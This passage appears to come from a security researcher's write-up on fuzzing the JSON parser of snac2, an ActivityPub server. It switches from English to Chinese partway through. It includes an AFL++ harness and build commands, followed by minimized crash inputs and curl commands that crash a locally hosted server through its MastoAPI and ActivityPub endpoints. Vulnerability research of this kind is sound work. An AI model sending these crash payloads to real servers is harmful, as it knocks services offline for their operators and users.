Instead of manually inspecting the source code further, I've decided to employ a technique known as fuzzing in order to find inputs that may crash the parser (located in xs_json.h). If you're not familiar with fuzzing, it's essentially a method for testing code by supplying it with randomly generated inputs. In the most basic case, piping /dev/urandom to a program and waiting for it to crash is a very primitive form of fuzzing.

However, for more complex programs, just piping /dev/urandom to a program is going to be very inefficient, and will most likely take a very long time to detect some more complex patterns leading to crashes. Therefore, dedicated fuzzing programs such as AFL++ generate new inputs by using an initial corpus of valid inputs, which are continuously mutated through multiple strategies, employing a relatively complex genetic algorithm. Moreover, by employing compile-time binary instrumentation, a set of modified compilers can insert AFL-specific instructions, that can inform the fuzzer on how many functions and code paths are reached with a given input. Ultimately, this approach allows fuzzers to test as many available code paths as possible. This approach is so powerful, that even with a very trivial input corpus, AFL++ can start pulling JPEGs out of thin air when fuzzing a complete JPEG parser.

在 snac2 项目中,我决定对 xs_json_load 函数进行模糊测试,该函数解析存储为文件的 JSON 数据(snac2 在内部将所有数据流都视为 FILE 指针,这也相当有趣)。为此,我必须准备一个模糊测试 harness——一个非常简单的程序,用于将测试函数暴露给模糊测试器。对于 AFL++,我只需要一个简单的 C 程序,该程序从 argv[1] 读取文件路径,打开文件,将其传递给解析器,然后释放结果:

#include <stdio.h>

#define XS_IMPLEMENTATION
#include "xs.h"
#include "xs_json.h"


int main(int argc, char **argv) {
    if(argc < 2) return 0;

    FILE *f = fopen(argv[1], "r");

    xs_val *root = xs_json_load(f);

    if (root) {
        xs_free(root);
    }

    fclose(f);
    return 0;
}

为了利用 AFL 的二进制插桩,我必须使用包装的 C 编译器来创建二进制文件。假设我们正在 snac2 源代码树中的子目录中进行研究:

afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json

之后,我将一个简单的测试用例({"company": "a", "year": 2024})放入 input 目录并启动模糊测试器:

afl-fuzz -i input -o findings -- ./fuzz_xs_json @@

几分钟内,我开始在 findings/default/crashes 目录中看到首次崩溃,我迅速确认了这些崩溃。在一些较简单的检测案例中,有这样一个:

[
  "TSo\u0  So\uF  So\uFcccccc
Ag {

经过几分钟的调整,我将上述测试用例简化为更干净的形式(确认 \u0000 是导致崩溃的原因):

  ["", "dummy\u0000..........................AAAAAA

最终,为了确认这是一个真正的崩溃,而不仅仅是与我的模糊测试 harness 相关的问题,我决定在真实、本地托管的 snac2 服务器上测试此有效负载,通过将其发送到 MastoAPI 端点(立即导致服务器崩溃):

  curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

在稍微修改有效负载后,我让服务器在标准 ActivityPub 端点上也崩溃了:

  curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]'